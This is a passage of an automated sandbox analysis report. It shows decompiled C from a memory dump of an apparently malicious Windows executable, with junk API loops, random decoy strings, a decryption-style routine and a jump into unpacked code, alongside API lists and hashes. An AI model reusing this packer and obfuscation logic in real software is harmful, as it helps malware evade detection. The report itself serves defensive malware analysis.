				_t446 = 0x4cc;
				do {
					GetCharWidthW(0, 0, 0, 0);
					GetCharABCWidthsFloatW(0, 0, 0, 0);
					_t446 = _t446 - 1;
				} while (_t446 != 0);
				while(1) {
					GetLastError();
					if(_t446 < 0x3b9f945) {
						_a36 = 0x3ae40fea;
						_a88 = 0x4da9f927;
						_a16 = 0x76dbcd96;
						_a80 = 0x5c01b59;
						_a68 = 0x69b972f0;
						_a24 = 0x6315b1bc;
						_a32 = 0x268efdf3;
						_a92 = 0x758aab55;
						_a72 = 0x293c9e6e;
						_a64 = 0x7d25b6d7;
						_a56 = 0x49f78072;
						_a20 = 0x411e99f8;
						_a12 = 0x58c56864;
						_a124 = 0x3a5c90d5;
						_a28 = 0x55787069;
						_a132 = 0x61b5b59f;
						_a112 = 0x739d0620;
						_a52 = 0x3eef0288;
						_a108 = 0x49cdaba2;
						_a104 = 0x1f200a15;
						_a4 = 0x6ab47c1e;
						_a76 = 0x60bcbe35;
						_v4 = 0x2247b61f;
						_a84 = 0xb7d6359;
						_a128 = 0xa8bb680;
						_a44 = 0x5f860f6d;
						_a60 = 0x1f006e87;
						_a96 = 0x344135c6;
						_v0 = 0x6da7e3e1;
						_v16 = 0x479039f5;
						_a100 = 0x9fa3415;
						_a8 = 0x7c643086;
						_v8 = 0x2694f336;
						_v12 = 0x6cb4a5e8;
						_a48 = 0x2d3a3b6a;
						_a136 = 0x4b4207e4;
						_a40 = 0x6a30f715;
						_a140 = 0x40a7a320;
						_a36 = _a36 - 0x3d2cd01f;
						_a36 = _a36 - 0x1a8468ec;
						_a88 = _a88 - 0x35b81e1b;
						_a16 = _a16 - 0x1f2956f1;
						_a88 = _a88 + 0x10bd938a;
						_a88 = _a88 + 0x387b6b7d;
						_a80 = _a80 + 0x55e9422f;
						_a36 = _a36 + 0x2f9fc9;
						_a80 = _a80 + 0x685f757d;
						_a16 = _a16 + 0x18684b6a;
						_a12 = _a12 + 0xc792e25;
						_a28 = _a28 - 0x71c2a565;
						_a56 = _a56 + 0x41d3e078;
						_a16 = _a16 + 0x6066dbc4;
						_a28 = _a28 - 0x1195370a;
						_a56 = _a56 + 0x50570176;
						_a16 = _a16 - 0x2bd3ed46;
						_a108 = _a108 + 0x392008dc;
						_a132 = _a132 - 0x5754d300;
						_a76 = _a76 - 0x2ce43c9b;
						_a12 = _a12 - 0x30721d20;
						_a52 = _a52 - 0x2ccd0822;
						_v4 = _v4 + 0x41048ed8;
						_a112 = _a112 - 0xc569312;
						_a76 = _a76 + 0x47dd74a5;
						_a24 = _a24 - 0x28076cb2;
						_a92 = _a92 - 0x436d683b;
						_a112 = _a112 + 0x6106b7c4;
						_a16 = _a16 - 0x41aae26e;
						_a28 = _a28 - 0x5ce84155;
						_a52 = _a52 + 0x2234c681;
						_a80 = _a80 - 0x290d37f4;
						_v0 = _v0 - 0x2476c0e6;
						_a28 = _a28 - 0xfb5be67;
						_v0 = _v0 + 0x69bdf9d;
						_v12 = _v12 - 0x1cf7abbe;
						_a20 = _a20 + 0xbea7d89;
						_a76 = _a76 + 0x7a5b1c5b;
						_a104 = _a104 - 0x18c76000;
						_a92 = _a92 + 0x46a1d242;
					}
					if(_t446 > 0xbeedf1) {
						break;
					}
					_t446 = _t446 + 1;
					if(_t446 < 0x81043) {
						continue;
					}
					break;
				}
				E00403660();
				E00403770();
				_t447 = __imp__ReplaceFileA;
				_v16 = 0x7b;
				do {
					if( *0x6e3f64 == 0x86) {
						 *_t447(0, 0, 0, 0, 0, 0);
						WritePrivateProfileStringW(0, 0, 0, 0);
					}
					if( *0x6e3f64 == 0xf) {
						lstrcmpiW(0, 0);
						CreateEventW(0, 0, 0, 0);
					}
					_t287 =  &_v16;
					 *_t287 = _v16 - 1;
				} while ( *_t287 != 0);
				_t444 = __imp__CreateActCtxA;
				_v16 = 0x3078f;
				do {
					if( *0x6e3f64 == 0x83) {
						MulDiv(0, 0, 0);
						 *_t444( &_a144);
						GetFileAttributesExW(0, 0,  &_a2500);
						GetLogicalDriveStringsA(0,  &_a3520);
						__imp__GetLongPathNameA(0,  &_a448, 0);
						WritePrivateProfileStructW(0, 0, 0, 0, 0);
						IsBadReadPtr(0, 0);
						CancelWaitableTimer(0);
						GetFileType(0);
						GetModuleHandleA(0);
					}
					_t294 =  &_v16;
					 *_t294 = _v16 - 1;
				} while ( *_t294 != 0);
				E004033B0();
				 *0x6e3f58 =  *0x6e3ed4;
				goto __eax;
			}

0x00403960
0x00403973
0x00403980
0x0040398c
0x0040399a
0x004039a7
0x004039b1
0x004039b9
0x004039c3
0x004039d5
0x004039e4
0x004039f4
0x004039fa
0x004039fc
0x004039fc
0x00403a00
0x00403a01
0x00403a05
0x00403a23
0x00403a25
0x00403a29
0x00403a34
0x00403a3a
0x00403a3c
0x00403a3e
0x00403a42
0x00403a44
0x00403a50
0x00403a60
0x00403a66
0x00403a66
0x00403a6a
0x00403a70
0x00403a70
0x00403a82
0x00403a87
0x00403a8f
0x00403a99
0x00403a9b
0x00403a9b
0x00403aa6
0x00403aa6
0x00403aae
0x00403ab4
0x00403abc
0x00403ac4
0x00403acc
0x00403ad4
0x00403adc
0x00403ae4
0x00403aec
0x00403af4
0x00403afc
0x00403b04
0x00403b0c
0x00403b14
0x00403b1c
0x00403b27
0x00403b2f
0x00403b3a
0x00403b45
0x00403b4d
0x00403b58
0x00403b63
0x00403b6b
0x00403b73
0x00403b7b
0x00403b83
0x00403b8e
0x00403b96
0x00403b9e
0x00403ba9
0x00403bb1
0x00403bb9
0x00403bc4
0x00403bcc
0x00403bd4
0x00403bdc
0x00403be4
0x00403bef
0x00403bf7
0x00403c02
0x00403c24
0x00403c2c
0x00403c41
0x00403c63
0x00403c6b
0x00403c73
0x00403c7b
0x00403c83
0x00403c98
0x00403ca0
0x00403ca8
0x00403cbd
0x00403cd2
0x00403ce7
0x00403cfc
0x00403d04
0x00403d0c
0x00403d17
0x00403d22
0x00403d2a
0x00403d32
0x00403d3a
0x00403d42
0x00403d4d
0x00403d75
0x00403daa
0x00403db2
0x00403dd7
0x00403dec
0x00403df4
0x00403e1c
0x00403e24
0x00403e2c
0x00403e34
0x00403e3c
0x00403e57
0x00403e6c
0x00403e74
0x00403e7f
0x00403e7f
0x00403e8d
0x00000000
0x00000000
0x00403e8f
0x00403e96
0x00000000
0x00000000
0x00000000
0x00403e96
0x00403e9c
0x00403ea1
0x00403ea6
0x00403ebe
0x00403ed0
0x00403eda
0x00403ee8
0x00403ef2
0x00403ef2
0x00403efb
0x00403f01
0x00403f0b
0x00403f0b
0x00403f0d
0x00403f0d
0x00403f0d
0x00403f1a
0x00403f2c
0x00403f34
0x00403f3e
0x00403f46
0x00403f50
0x00403f5e
0x00403f6a
0x00403f78
0x00403f88
0x00403f92
0x00403f9a
0x00403fa2
0x00403faa
0x00403faa
0x00403fb0
0x00403fb0
0x00403fb0
0x00403fbb
0x00403fc5
0x00403fd4

APIs

GetConsoleCursorInfo.KERNEL32(00000000,?), ref: 0040398C
GetModuleFileNameW.KERNEL32(00000000,?,00000000), ref: 0040399A
EnumFontsW.GDI32(00000000,hagayaxewewagucizinahegej,00000000,00000000), ref: 004039A7
GetVersionExW.KERNEL32(?), ref: 004039B1
GetConsoleAliasesLengthA.KERNEL32(00000000), ref: 004039B9
SleepEx.KERNEL32(00000000,00000000), ref: 004039C3
CreateFileMappingW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 004039D5
CreateMutexA.KERNEL32(00000000,00000000,wilofusasonamapofedahu), ref: 004039E4
GetCommState.KERNEL32(00000000,?), ref: 004039F4
FreeConsole.KERNEL32 ref: 004039FA
MapGenericMask.ADVAPI32(00000000,00000000), ref: 00403A3A
DebugBreak.KERNEL32 ref: 00403A3C
FreeConsole.KERNEL32 ref: 00403A3E
AttachConsole.KERNEL32(00000000), ref: 00403A42
FreeConsole.KERNEL32 ref: 00403A44
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00403A50
WaitForMultipleObjectsEx.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00403A60
GetCharWidthW.GDI32(00000000,00000000,00000000,00000000), ref: 00403A8F
GetCharABCWidthsFloatW.GDI32(00000000,00000000,00000000,00000000), ref: 00403A99
GetLastError.KERNEL32 ref: 00403AA6
ReplaceFileA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403EE8
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403EF2
lstrcmpiW.KERNEL32(00000000,00000000), ref: 00403F01
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403F0B
MulDiv.KERNEL32(00000000,00000000,00000000), ref: 00403F46
CreateActCtxA.KERNEL32(?), ref: 00403F50
GetFileAttributesExW.KERNEL32(00000000,00000000,?), ref: 00403F5E
GetLogicalDriveStringsA.KERNEL32 ref: 00403F6A
GetLongPathNameA.KERNEL32 ref: 00403F78
WritePrivateProfileStructW.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00403F88
IsBadReadPtr.KERNEL32(00000000,00000000), ref: 00403F92
CancelWaitableTimer.KERNEL32(00000000), ref: 00403F9A
GetFileType.KERNEL32(00000000), ref: 00403FA2
GetModuleHandleA.KERNEL32(00000000), ref: 00403FAA

Strings

;hmC, xrefs: 00403DAA
)O, xrefs: 00403A6B
}u_h, xrefs: 00403C83
TDu, xrefs: 00403CDA
hagayaxewewagucizinahegej, xrefs: 004039A0
wilofusasonamapofedahu, xrefs: 004039DB
}k{8, xrefs: 00403C6B
j;:-, xrefs: 00403BDC
UA\, xrefs: 00403DEC
>P, xrefs: 00403CC5
{, xrefs: 00403EBE
{*,, xrefs: 00403C34

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Console$File$Create$Free$CharModuleNamePrivateProfileWrite$AliasesAttachAttributesBreakCancelCommCursorDebugDriveEnumErrorEventExchangeFloatFontsGenericHandleInfoInterlockedLastLengthLogicalLongMappingMaskMultipleMutexObjectsPathReadReplaceSleepStateStringStringsStructTimerTypeVersionWaitWaitableWidthWidthslstrcmpi
String ID: )O$;hmC$>P$TDu$UA\$hagayaxewewagucizinahegej$j;:-$wilofusasonamapofedahu${${*,$}k{8$}u_h
API String ID: 1899468939-3306136125
Opcode ID: 40dacb0b46946c9e6209d0977764b14c641409eafcfd433fbd57f9988e8ad584
Instruction ID: dd4772e0d6ffc21e330b612bd6862c73206e163400e5de7633fbe4cf37543fc3
Opcode Fuzzy Hash: 40dacb0b46946c9e6209d0977764b14c641409eafcfd433fbd57f9988e8ad584
Instruction Fuzzy Hash: A7F175756083809FD3609F65D98AB4ABBF4FB84704F10491DF6D9AB2A0C7B49984CF4B

Uniqueness

Uniqueness Score: -1.00%

Function 00403660 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 76
threadCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00403660(intOrPtr _a4, struct _SMALL_RECT _a8, unsigned int _a12, char _a40, short _a1064, char _a3100) {
				struct _SMALL_RECT _v0;
				struct _CHAR_INFO _v4;
				long _v8;
				struct _COORD _v16;
				unsigned int _t21;
				intOrPtr* _t34;
				intOrPtr _t35;

				E0040EBC0(0x142c);
				_t35 =  *0x6e3ed4;
				_t21 =  *0x6e3f64 >> 3;
				if(_t21 > 0) {
					_t34 = __imp__FindNextVolumeA;
					_a4 = _t35;
					_a12 = _t21;
					do {
						if( *0x6e3f64 == 0x959) {
							GetNumberFormatW(0, 0, L"bisasijucifaw", 0,  &_a1064, 0);
							GetModuleHandleA("bizifoditutig");
							 *_t34(0,  &_a40, 0);
							GetModuleFileNameA(0, 0, 0);
							__imp__FindFirstVolumeMountPointW(L"povinatufopewehepogiyexaveboside",  &_a3100, 0);
							_v16.Y = 0;
							_v16.X = 0;
							ScrollConsoleScreenBufferA(0,  &_v0,  &_a8, _v16,  &_v4);
							GetModuleHandleW(L"mojuforafuzudogudukeyitofoh");
							InterlockedExchangeAdd( &_v8, 0);
							GetCurrentThreadId();
						}
						_t21 = E00403450(_a4);
						_v0.Left = _v0.Left + 8;
						_t16 =  &_a8;
						 *_t16 = _a8.Left - 1;
					} while ( *_t16 != 0);
				}
				return _t21;
			}

0x00403665
0x0040366f
0x00403677
0x0040367e
0x00403690
0x0040369c
0x004036a0
0x004036a4
0x004036ae
0x004036c9
0x004036d0
0x004036db
0x004036e3
0x004036f4
0x004036fe
0x00403708
0x0040371e
0x00403729
0x00403736
0x0040373c
0x0040373c
0x00403747
0x0040374c
0x00403751
0x00403751
0x00403751
0x004036a4
0x00403766

APIs

GetNumberFormatW.KERNEL32 ref: 004036C9
GetModuleHandleA.KERNEL32(bizifoditutig), ref: 004036D0
FindNextVolumeA.KERNEL32(00000000,?,00000000), ref: 004036DB
GetModuleFileNameA.KERNEL32(00000000,00000000,00000000), ref: 004036E3
FindFirstVolumeMountPointW.KERNEL32(povinatufopewehepogiyexaveboside,?,00000000), ref: 004036F4
ScrollConsoleScreenBufferA.KERNEL32(00000000,?,?,?,?), ref: 0040371E
GetModuleHandleW.KERNEL32(mojuforafuzudogudukeyitofoh), ref: 00403729
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00403736
GetCurrentThreadId.KERNEL32 ref: 0040373C

Strings

bisasijucifaw, xrefs: 004036C0
bizifoditutig, xrefs: 004036CB
povinatufopewehepogiyexaveboside, xrefs: 004036EF
mojuforafuzudogudukeyitofoh, xrefs: 00403724

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Module$FindHandleVolume$BufferConsoleCurrentExchangeFileFirstFormatInterlockedMountNameNextNumberPointScreenScrollThread
String ID: bisasijucifaw$bizifoditutig$mojuforafuzudogudukeyitofoh$povinatufopewehepogiyexaveboside
API String ID: 2995853831-2424065264
Opcode ID: 07ad343bc612d107f7b44bb0d07a2e0780c87e568f46a4856a6bc696b767d176
Instruction ID: fd53beb6815d2b1a6e1d869d1a25286061c97fc3c7a8c1baf894db39699f14bf
Opcode Fuzzy Hash: 07ad343bc612d107f7b44bb0d07a2e0780c87e568f46a4856a6bc696b767d176
Instruction Fuzzy Hash: 0F21C771254341AFD310EF61DE49F5B77B8EB88B41F40482EF244A72E0C6B4AA44CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00403EC8 Relevance: 21.1, APIs: 14, Instructions: 82
filestringtimeCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00403EC8(char _a16, char _a176, char _a480, void _a2532, char _a3552) {
				intOrPtr* _t31;
				intOrPtr* _t33;

				do {
					if( *0x6e3f64 == 0x86) {
						 *_t33(0, 0, 0, 0, 0, 0);
						WritePrivateProfileStringW(0, 0, 0, 0);
					}
					if( *0x6e3f64 == 0xf) {
						lstrcmpiW(0, 0);
						CreateEventW(0, 0, 0, 0);
					}
					_t1 =  &_a16;
					 *_t1 = _a16 - 1;
				} while ( *_t1 != 0);
				_t31 = __imp__CreateActCtxA;
				_a16 = 0x3078f;
				do {
					if( *0x6e3f64 == 0x83) {
						MulDiv(0, 0, 0);
						 *_t31( &_a176);
						GetFileAttributesExW(0, 0,  &_a2532);
						GetLogicalDriveStringsA(0,  &_a3552);
						__imp__GetLongPathNameA(0,  &_a480, 0);
						WritePrivateProfileStructW(0, 0, 0, 0, 0);
						IsBadReadPtr(0, 0);
						CancelWaitableTimer(0);
						GetFileType(0);
						GetModuleHandleA(0);
					}
					_t8 =  &_a16;
					 *_t8 = _a16 - 1;
				} while ( *_t8 != 0);
				E004033B0();
				 *0x6e3f58 =  *0x6e3ed4;
				goto __eax;
			}

0x00403ed0
0x00403eda
0x00403ee8
0x00403ef2
0x00403ef2
0x00403efb
0x00403f01
0x00403f0b
0x00403f0b
0x00403f0d
0x00403f0d
0x00403f0d
0x00403f1a
0x00403f2c
0x00403f34
0x00403f3e
0x00403f46
0x00403f50
0x00403f5e
0x00403f6a
0x00403f78
0x00403f88
0x00403f92
0x00403f9a
0x00403fa2
0x00403faa
0x00403faa
0x00403fb0
0x00403fb0
0x00403fb0
0x00403fbb
0x00403fc5
0x00403fd4

APIs

ReplaceFileA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403EE8
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403EF2
lstrcmpiW.KERNEL32(00000000,00000000), ref: 00403F01
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403F0B
MulDiv.KERNEL32(00000000,00000000,00000000), ref: 00403F46
CreateActCtxA.KERNEL32(?), ref: 00403F50
GetFileAttributesExW.KERNEL32(00000000,00000000,?), ref: 00403F5E
GetLogicalDriveStringsA.KERNEL32 ref: 00403F6A
GetLongPathNameA.KERNEL32 ref: 00403F78
WritePrivateProfileStructW.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00403F88
IsBadReadPtr.KERNEL32(00000000,00000000), ref: 00403F92
CancelWaitableTimer.KERNEL32(00000000), ref: 00403F9A
GetFileType.KERNEL32(00000000), ref: 00403FA2
GetModuleHandleA.KERNEL32(00000000), ref: 00403FAA

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: File$CreatePrivateProfileWrite$AttributesCancelDriveEventHandleLogicalLongModuleNamePathReadReplaceStringStringsStructTimerTypeWaitablelstrcmpi
String ID:
API String ID: 901593100-0
Opcode ID: aed07d8cfc0ad2cf1845300b8dcd16c779e91a8671c977d6fc037da8ba7a8a09
Instruction ID: b2852b48c8f4d8ba03cfa376f79f46edc908adb906e89a08216d4b1bdbc1fbbb
Opcode Fuzzy Hash: aed07d8cfc0ad2cf1845300b8dcd16c779e91a8671c977d6fc037da8ba7a8a09
Instruction Fuzzy Hash: AC213931788384AFF760AF90ED4AF9A7764EB44B12F104425F7486E1E0CBF46544CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 004091D6 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004091D6(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t45;
				void* _t46;

				_t35 = __ebx;
				_push(0xc);
				_push(0x4a4de0);
				E00407404(__ebx, __edi, __esi);
				_t44 = L"KERNEL32.DLL";
				_t23 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t23 == 0) {
					_t23 = E004084DD(_t44);
				}
				 *(_t46 - 0x1c) = _t23;
				_t45 =  *((intOrPtr*)(_t46 + 8));
				 *((intOrPtr*)(_t45 + 0x5c)) = 0x401a08;
				 *((intOrPtr*)(_t45 + 0x14)) = 1;
				if(_t23 != 0) {
					_t35 = GetProcAddress;
					 *((intOrPtr*)(_t45 + 0x1f8)) = GetProcAddress(_t23, "EncodePointer");
					 *((intOrPtr*)(_t45 + 0x1fc)) = GetProcAddress( *(_t46 - 0x1c), "DecodePointer");
				}
				 *((intOrPtr*)(_t45 + 0x70)) = 1;
				 *((char*)(_t45 + 0xc8)) = 0x43;
				 *((char*)(_t45 + 0x14b)) = 0x43;
				 *(_t45 + 0x68) = 0x4a67c8;
				E00409F79(_t35, 1, 0xd);
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				InterlockedIncrement( *(_t45 + 0x68));
				 *(_t46 - 4) = 0xfffffffe;
				E004092AB();
				E00409F79(_t35, 1, 0xc);
				 *(_t46 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t46 + 0xc));
				 *((intOrPtr*)(_t45 + 0x6c)) = _t28;
				if(_t28 == 0) {
					_t32 =  *0x4a6dd0; // 0x4a6cf8
					 *((intOrPtr*)(_t45 + 0x6c)) = _t32;
				}
				E0040BCF6( *((intOrPtr*)(_t45 + 0x6c)));
				 *(_t46 - 4) = 0xfffffffe;
				return E00407449(E004092B4());
			}

0x004091d6
0x004091d6
0x004091d8
0x004091dd
0x004091e2
0x004091e8
0x004091f0
0x004091f3
0x004091f8
0x004091f9
0x004091fc
0x004091ff
0x00409209
0x0040920e
0x00409216
0x0040921e
0x0040922e
0x0040922e
0x00409234
0x00409237
0x0040923e
0x00409245
0x0040924e
0x00409254
0x0040925b
0x00409261
0x00409268
0x0040926f
0x00409275
0x00409278
0x0040927b
0x00409280
0x00409282
0x00409287
0x00409287
0x0040928d
0x00409293
0x004092a4

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,004A4DE0,0000000C,00409311,00000000,00000000,?,?,00406559,00406AC8), ref: 004091E8
__crt_waiting_on_module_handle.LIBCMT ref: 004091F3

Part of subcall function 004084DD: Sleep.KERNEL32(000003E8,00000000,?,00409139,KERNEL32.DLL,?,00409185,?,?,00406559,00406AC8), ref: 004084E9
Part of subcall function 004084DD: GetModuleHandleW.KERNEL32(?,?,00409139,KERNEL32.DLL,?,00409185,?,?,00406559,00406AC8), ref: 004084F2

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0040921C
GetProcAddress.KERNEL32(?,DecodePointer), ref: 0040922C
__lock.LIBCMT ref: 0040924E
InterlockedIncrement.KERNEL32(004A67C8), ref: 0040925B
__lock.LIBCMT ref: 0040926F
___addlocaleref.LIBCMT ref: 0040928D

Strings

KERNEL32.DLL, xrefs: 004091E2, 004091E7, 004091F2
EncodePointer, xrefs: 00409210
DecodePointer, xrefs: 00409224

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: 9a90ec8b31d4f50ec29758cfb75750d2b0ed0309b8655b3077b09bc11f545a4a
Instruction ID: 5687734310634d2eb5f4503b5a5da09297222499509aa42e79a542999aed5886
Opcode Fuzzy Hash: 9a90ec8b31d4f50ec29758cfb75750d2b0ed0309b8655b3077b09bc11f545a4a
Instruction Fuzzy Hash: E5119071901702AED720EF7A9841B4ABBE0AF04318F10457FE499B62E2CB78A940DF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00403450 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00403450(unsigned int* _a4) {
				char _v1024;
				long _v1028;
				intOrPtr _v1032;
				intOrPtr _v1036;
				char _v1040;
				struct _COORD _v1044;
				signed int _v1048;
				char _v1052;
				signed int _v1056;
				signed int _v1060;
				signed int _v1064;
				unsigned int _v1068;
				unsigned int _v1072;
				signed int _v1076;
				void* __edi;
				intOrPtr* _t78;
				intOrPtr _t80;
				signed int _t82;
				unsigned int* _t100;
				intOrPtr _t106;
				intOrPtr _t108;
				intOrPtr _t109;
				signed int _t125;
				intOrPtr _t126;

				_t78 = _a4;
				_t106 =  *0x4a7648; // 0x896da360
				_t126 =  *0x4a764c; // 0x36b2b064
				_v1072 =  *_t78;
				_v1068 =  *((intOrPtr*)(_t78 + 4));
				_v1052 = 0;
				E00403430( &_v1052,  *_t78);
				_v1052 = _v1052 + 0x23f;
				if( *0x6e3f64 == 0x14) {
					EnumResourceLanguagesW(0, L"mifotupoh", L"jeguxufo xevuholucedumahemalaxavebu", 0, 0);
				}
				_t80 =  *0x4a7650; // 0x4d38fea2
				_t108 =  *0x4a7654; // 0xcf331c02
				_v1036 = _t80;
				_v1032 = _t108;
				_v1040 = 0x20;
				do {
					_v1064 = 2;
					_v1064 = _v1064 + 3;
					_t109 =  *0x6e3f64;
					_t82 = _v1072 << 4;
					_v1076 = _t82;
					if(_t109 == 0xc) {
						_v1044.Y = 0;
						_v1044.X = 0;
						ReadConsoleOutputCharacterA(0,  &_v1024, 0, _v1044,  &_v1028);
						_t82 = _v1076;
						_t109 =  *0x6e3f64;
					}
					_v1076 = _t82 + _v1036;
					if(_t109 != 0xfa9) {
						if(_t109 == 0x3eb) {
							 *0x6e3ed0 = 0;
						}
					} else {
						 *0x6e3f60 = 0xedeb2e40;
					}
					_v1060 = _v1072;
					_v1060 = _v1060 + _v1052;
					 *0x6e3f5c = 0xf4ea3dee;
					_v1048 = _v1072 >> _v1064;
					E00403440( &_v1048, _v1032);
					_v1076 = _v1076 ^ _v1060;
					if( *0x6e3f64 == 0x9e6) {
						OpenMutexW(0, 0, L"Kis");
					}
					_v1048 = _v1048 ^ _v1076;
					_v1068 = _v1068 + 0x64;
					_v1068 = _v1068 - _v1048;
					_v1068 = _v1068 - 0x64;
					E00403420(_v1068,  &_v1076);
					_v1076 = _v1076 + _t106;
					_v1056 = 0;
					_v1056 = _v1056 + _v1052;
					_v1056 = _v1056 + _v1068;
					_v1060 = _v1056;
					_t113 = _v1064;
					_t125 = (_v1068 >> _v1064) + _t126;
					_v1076 = _v1076 ^ _v1060;
					if( *0x6e3f64 == 0x121) {
						__imp__AddConsoleAliasW(0, 0, 0);
					}
					_v1076 = _v1076 ^ _t125;
					_v1072 = _v1072 - _v1076;
					E00403410( &_v1052, _t113, 0);
					_t72 =  &_v1040;
					 *_t72 = _v1040 - 1;
				} while ( *_t72 != 0);
				_t100 = _a4;
				 *_t100 = _v1072;
				_t100[1] = _v1068;
				return _t100;
			}

0x00403456
0x00403463
0x0040346a
0x00403478
0x0040347c
0x00403480
0x00403484
0x00403489
0x00403498
0x004034a7
0x004034a7
0x004034ad
0x004034b2
0x004034b8
0x004034bc
0x004034c0
0x004034d0
0x004034d0
0x004034d8
0x004034e1
0x004034e7
0x004034ea
0x004034f1
0x004034f7
0x00403501
0x00403512
0x00403518
0x0040351c
0x0040351c
0x00403526
0x00403530
0x00403544
0x00403546
0x00403546
0x00403532
0x00403532
0x00403532
0x00403550
0x00403558
0x0040356e
0x00403578
0x0040357c
0x00403585
0x00403593
0x0040359c
0x0040359c
0x004035a6
0x004035ae
0x004035b3
0x004035b7
0x004035c4
0x004035c9
0x004035cd
0x004035d5
0x004035de
0x004035e6
0x004035ee
0x004035f4
0x004035fa
0x00403608
0x0040360d
0x0040360d
0x00403613
0x0040361b
0x00403623
0x00403628
0x00403628
0x00403628
0x00403633
0x00403645
0x00403647
0x00403651

APIs

EnumResourceLanguagesW.KERNEL32 ref: 004034A7
ReadConsoleOutputCharacterA.KERNEL32(00000000,?,00000000,00000020,?), ref: 00403512
OpenMutexW.KERNEL32(00000000,00000000,Kis), ref: 0040359C
AddConsoleAliasW.KERNEL32(00000000,00000000,00000000), ref: 0040360D

Strings

Kis, xrefs: 00403595
d, xrefs: 004035B7
, xrefs: 004034C0
mifotupoh, xrefs: 004034A1
jeguxufo xevuholucedumahemalaxavebu, xrefs: 0040349C

Memory Dump Source

Source File: 00000005.00000002.442277755.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442255520.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442392495.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442417524.00000000006EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Console$AliasCharacterEnumLanguagesMutexOpenOutputReadResource
String ID: $Kis$d$jeguxufo xevuholucedumahemalaxavebu$mifotupoh
API String ID: 3309625250-456979391
Opcode ID: 4880392529a9b5b9f0bd85196bf18883c4f4519006fba962e32d9046968fde16
Instruction ID: 599ed9a83dfc02d25a9d8a0c40fd4236e338e3bf40ebf90281bd957a8b2fde32
Opcode Fuzzy Hash: 4880392529a9b5b9f0bd85196bf18883c4f4519006fba962e32d9046968fde16
Instruction Fuzzy Hash: 915104759083419FC314CF29D98491BBBF4BBD8718F40492EF485A7260C334EA49CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004056F3 Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E004056F3(intOrPtr __ecx) {
				void* _t47;
				intOrPtr _t48;
				void* _t53;
				void* _t54;
				void* _t56;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_push(0x2c);
				_push(0x4a4c60);
				E00407404(_t47, _t54, _t56);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
